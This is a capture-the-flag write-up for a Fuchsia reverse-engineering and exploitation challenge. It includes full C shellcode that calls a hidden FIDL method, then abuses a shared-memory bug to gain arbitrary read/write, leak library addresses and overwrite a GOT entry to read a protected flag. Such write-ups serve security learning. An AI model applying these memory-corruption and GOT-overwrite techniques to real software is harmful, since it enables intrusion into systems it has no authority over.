Caidanti was a reverse/pwn task with two flags.

The task had two binaries - caidanti and caidanti-storage-service, running on Google’s Fuchsia operating system, which is currently under active development.

Fuchsia is based on custom microkernel called Zircon, and as such have completely different set of system calls when compared to, for example, Linux or other Unix-like operating system.

You can communicate with caidanti binary over the network, which in turn communicates with caidanti-storage-service over FIDL IPC.

Both flags are only available in the caidanti-storage-service, so gaining code execution just in caidanti is insufficient.

Flag 1

Getting the first flag required a fair amount of reverse engineering.

First, caidanti has an option to execute arbitrary shellcode. By looking at return address of the function, we can determine the base of the binary, read any data and call any functions.

The code is written in C++, and the class that handles the backend communication has unused function that does “GetFlag1” remote call. So we can call it from our shellcode.

The function takes two parameters, both of which are std::string (or something similar).

Second, the implementation of this function on caidanti-storage-service side returns the flag in the second argument if the first argument is string "YouMadeAFIDLCall" (this check is obfuscated).

I decided to write the shellcode in C, which is doable if you use a proper compilation flags and linker script.

typedef struct std_string {
    union {
        struct {
            char s[23];
            unsigned char len;
        } inlinestr;
        struct {
            char *buf;
            size_t len;
            size_t cap;
        } bigstr;
    };
} std_string;

static char *std_string_data(std_string *self)  {
    if (self->inlinestr.len & 0x80) {
        return self->bigstr.buf;
    } else {
        return &self->inlinestr.s[0];
    }
}

void _start(void) {
    char *binary_base = __builtin_return_address(0) - 0x7205;

    int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;

    printf("\n");

    printf("Binary base: %p\n", binary_base);

    struct std_string param2 = {.inlinestr = {.s = "YouMadeAFIDLCall", .len = 16} };
    struct std_string param3 = {0};

    printf("%s\n", std_string_data(&param2));
    
    void (*sub_7F00)(void *, void *, void *) = binary_base + 0x7F00;

    sub_7F00(*(void**)(binary_base + 0x12140), &param2, &param3);

    printf("%s\n", std_string_data(&param3));

    return;
}

Flag 2

The second part is trickier. The second flag is stored in a file which is not normally read, so we need to gain code execution in caidanti-storage-service.

What we didn’t use so far is that except “GetFlag1” function, the service also provides some note taking functionality (our beloved pwn cliché).

Note viewing and editing is implemented with shared memory. When viewing/editing is requested, the service sends a virtual memory handle to the client. The client maps it in its memory, reads/update the string, and unmaps the region. Since it’s a shared memory, any changes done by caidanti are immediately reflected in caidanti-storage-service.

The bug is that the memory area being sent over includes not only the inline char buffer (which can be updated relatively safely), but also some vtable pointers and std::strings.

typedef struct {
    unsigned char used;
    std_string key;
    char value[256];
} secret_t;

typedef struct {
    void *vtable1;
    // skip
    secret_t secrets[16];
} shit_t;

To read arbitrary memory, we point some note’s key buffer to memory we want to read, set len and capacity accordingly, and call ListKeys function.

When new note is created, the new name is assigned (operator=) to the existing std::string instance. If its capacity is already enough to hold the new string, the new data is simply copied to the existing buffer. So to implement the arbitrary write primitive, we mark a note unused, set buffer and capacity accordingly, and create a new note with key is the data we want to write.

These primitives are very powerful, and quite likely it’s possible to do the stack pivot and obtain arbitrary shellcode execution.

However, there’s a much simpler solution.

When caidanti-storage-service is run, it checks that the second flag is readable. It does so by calling open, but it doesn’t call close afterwards. Which means the second flag hangs around with fd=3 (even though Zircon doesn’t have a concept of file descriptors, the C library has them as an POSIX-compatible abstraction (to my knowledge, the same thing happens on Windows)).

The GetFlag1 function calls open to open the first flag, and then sends it back to the user. Naturally, we started looking for some gadget that returns 3 in eax register, so we could overwrite open GOT entry with it (which luckily was writeable).

And we found it:

pid_t __cdecl stub_getpid()
{
  return 3;
}
push    rbp             ; Alternative name is 'getpid'
mov     rbp, rsp
mov     eax, 3
pop     rbp
retn

After patching the open GOT entry, the function that used to return the first flag now returns the second flag. And that’s it.


void _start(void) {
    char *binary_base = __builtin_return_address(0) - 0x7205;
    char *service_base;
    char *libc_base;

    int (*printf)(const char *fmt, ...) = binary_base + 0x10C40;
    printf("\n");
    printf("Binary base: %p\n", binary_base);

    REBASE_FUNCTIONS(binary_base);

    const void *FOO = *(void**)(binary_base + 0x12140);
        
    {
        struct std_string key = INIT_STRING("hui");
        struct std_string value = INIT_STRING("test");
        int new_id;
        create_secret(FOO, &key, &value, &new_id);
    }
        
    shit_t *shit;

    {
        struct std_string key = INIT_STRING("hui");
        int *handle = 0;
        read_secret(FOO, &key, &handle);
        zx_vaddr_t res;
        zx_vmar_map(zx_vmar_root_self(), ZX_VM_PERM_READ | ZX_VM_PERM_WRITE, 0, *handle, 0, 8192, &res);

        shit = (shit_t*)res;
    }

    service_base = shit->vtable1 - 0x13060;
    printf("storage-service base: %p\n", service_base);

    shit->secrets[0].used = 1;
    shit->secrets[0].key.bigstr.buf = service_base + 0x140B8; // strlen
    shit->secrets[0].key.bigstr.len = 256;
    shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
    {
        stringvector_t hui = {0, 0};
        list_secrets(FOO, &hui);
        while (hui.begin < hui.end) {
            uintptr_t *ptr = std_string_data(hui.begin);
            printf(" %p\n", *ptr);
            libc_base = *ptr - 0x98530;
            hui.begin += 32;
            break;
        }
    }
    printf("libc base: %p\n", libc_base);

    shit->secrets[0].used = 0;
    shit->secrets[0].key.bigstr.buf = service_base + 0x14018; /// open
    shit->secrets[0].key.bigstr.len = 0;
    shit->secrets[0].key.bigstr.cap = 256 | BIGSTRING;
    {
        struct std_string key = {.inlinestr = {.len = 8}};
        *(uintptr_t*)&key = libc_base + 0x9D270; // "return 3" gadget

        struct std_string value = INIT_STRING("AAAAAAAA");
        int new_id;
        create_secret(FOO, &key, &value, &new_id);
    }

    {
        struct std_string param = INIT_STRING("YouMadeAFIDLCall");
        struct std_string value = {};
        get_flag1(FOO, &param, &value);

        printf("%s\n", std_string_data(&value));
    }

    return;
}